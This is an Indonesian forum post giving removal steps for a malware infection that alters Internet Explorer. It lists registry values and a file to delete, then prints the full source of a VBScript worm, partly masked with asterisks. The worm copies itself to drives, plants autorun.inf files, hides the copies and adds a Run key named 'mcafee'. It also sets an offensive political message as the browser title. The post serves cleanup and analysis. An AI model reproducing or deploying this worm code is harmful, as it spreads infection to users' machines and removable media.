IE Problem lanjutan

coba ke registry (start - run - ketik regedit)

cari dan hapus value-2 berikut:

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\mcafee",winpath&"\Win32.dll.vbs"

"HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Fuck USA & EZRAEL! [Can Dajjal Come Out And Play ?!]"

"HKCR\vbsfile\DefaultIcon","shell32.dll,2"

cari dan hapus file berikut (jika ada)
c:\windows\Win32.dll.vbs --> "windows" bisa berarti winnt, tergantung windir pc kamu


full code nya gini :


'==================[Begin Of File]==================
on error resume next
rem 121206, do u still remember dis day us_3?
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,che ck,sd
atr = "[autorun]"&vbcrlf&"shellexecute=w******.exe Win32.dll.vbs"
set fs = createobject("******ing.FileSystemObject")
set mf = fs.getfile(W******.******Fullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\Win32.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\Win32.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\Win32.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\Win32.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\Win32.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\Win32.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("W******.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\mcafee",winpath&"\Win32.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Fuck USA & EZRAEL! [Can Dajjal Come Out And Play ?!]"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
W******.sleep 200000
end if
loop while check<>1
set sd = createobject("W******.shell")
sd.run winpath & "\explorer.exe /e,/select, " & W******.******Fullname
'==================[End Of File]==================